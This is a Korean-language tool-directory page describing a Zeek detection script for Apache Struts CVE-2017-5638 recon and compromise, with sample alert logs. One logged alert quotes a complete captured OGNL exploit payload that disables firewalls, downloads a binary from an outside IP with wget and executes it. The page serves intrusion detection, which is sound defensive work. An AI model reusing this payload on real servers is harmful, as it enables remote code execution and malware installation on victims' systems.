Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-5638_struts — Apache Struts 정찰 및 침해 탐지 | Kitploit
도구/GitHubGitHub/initconf/cve-2017-5638_struts
Vulnerability AnalysisExploitationNetwork SecurityMalware AnalysisThreat IntelligenceIntrusion Detection
GitHubinitconf/cve-2017-5638_struts

CVE-2017-5638_struts

Apache Struts 정찰 및 침해 탐지

저장소 보기
828년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Scott Campbell의 스크립트를 더 확장하고 더 복잡하게 만들었습니다 :)

"HTTP_StrutsAttack"이 정찰을 100% 차단하지만, 취약한 시스템을 스캐너가 발견하면 스캐너를 차단하더라도 취약한 시스템이 HTTP 요청에 포함된 wget을 실행해 악성코드를 다운로드할 아주 작은 가능성이 여전히 존재합니다. wget URL에 있는 악성코드 다운로드 IP는 거의 항상 정찰 IP와 다르기 때문에 우리는 그 IP를 차단하지 않고 있습니다.

그래서 확장된 스크립트는 악성코드 다운로드 IP도 추출합니다.

  1. 다음 알림을 생성하십시오:

    root@kitploit:~
     redef enum Notice::Type += {
             Attempt,
             MalwareURL,
             HostileDomainLookup,
             MalwareURLClick,
             FileDownload,
             Compromise,
     };
    
  • 따라서 이 스크립트는 Attempt에서 'wget' URL을 추출한 후, URL에 도메인(또는 CNAME 도메인)이 있으면 스크립트가 악성코드 호스트의 IP 주소를 추적하고 활동을 감시합니다.

  • wget URL이 http에서 발견되면 MalwareURLClick 알림을 생성합니다.

  • 추가로 FileDownload 및 Compromise 알림을 생성합니다.

  • 이 스크립트는 또한 클러스터화되어 있습니다.

24시간 동안 실행해 보았고 스크립트 측면에서는 안정적으로 보입니다. 여전히 몇 가지 허술한 탐지 구멍이 있을 수 있다고 생각합니다. 그러니 자유롭게 수정하고 저에게도 알려주세요.

놀랍게도 이전과 달리 Struts 스캐너의 대규모 트래픽이 보이지 않습니다. 하루에 수천 개 대신 약 20개 정도의 범위로 보입니다.

다음은 예시 알림입니다:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -

1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F

도구 다운로드